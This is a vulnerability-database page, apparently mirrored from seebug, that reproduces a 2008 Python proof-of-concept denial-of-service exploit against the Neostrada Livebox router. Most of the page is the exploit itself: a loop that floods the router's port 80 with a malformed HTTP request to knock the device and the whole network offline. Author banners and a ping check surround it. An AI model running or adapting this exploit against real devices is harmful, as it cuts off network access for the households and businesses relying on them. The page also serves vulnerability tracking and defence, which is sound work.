Lucene search
K

Neostrada Livebox Router Remote Network Down PoC Exploit

🗓️ 09 Dec 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

Neostrada Livebox Router Remote Network Down PoC Exploit, Crafted HTTP packet causes network outag

Code

                                                # Neostrada Livebox Router Remote Network Down PoC Exploit
# Author: 0in aka zer0in from Dark-Coders Group!
# Contact: 0in.email(at)gmail.com / 0in(at)dark-coders.pl
# Site: http://dark-coders.pl
# Greetings to: All Dark-Coders Members: die,doctor,m4r1usz,sun8hclf ;*
# 		Friends: cOndemned,joker,chomzee,TBH
#		IRC: #dark-coders & #pvt
# Description:
# 	When we send a "specially crafted http packet" x ~25
#	Livebox HTTP service && all network goes down 
# Simple PoC source:
#!/usr/bin/python

from socket import *
import os
import sys
target = "192.168.1.1"
def to_vuln(ip):
	suck = socket(AF_INET,SOCK_STREAM,0)
	try:
		conn = suck.connect((ip,80))
	except Exception:
		check(ip)
	return suck
def check(ip):
	print "[+] No HTTP response..."
	print "[+] Server and network should go down!"
	print "[+] Check it with ping..."
	os.system("ping "+ip)
i=0
print "[!] Neostrada Livebox Remote Network Down Exploit!!"
print "[!] 		[HTTP DoS vuln]		  "
print "[!] 	by 0in [0in.email(at)gmail.com]		  "
print "\n[+] Dosing..."
for i in range(256):
	pack3t = "GET /- HTTP/1.1\r\n\r\n" 
	POC = to_vuln(target)
	POC.send(pack3t)
	try:
		POC.recv(512)
	except Exception:
		check(target)

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation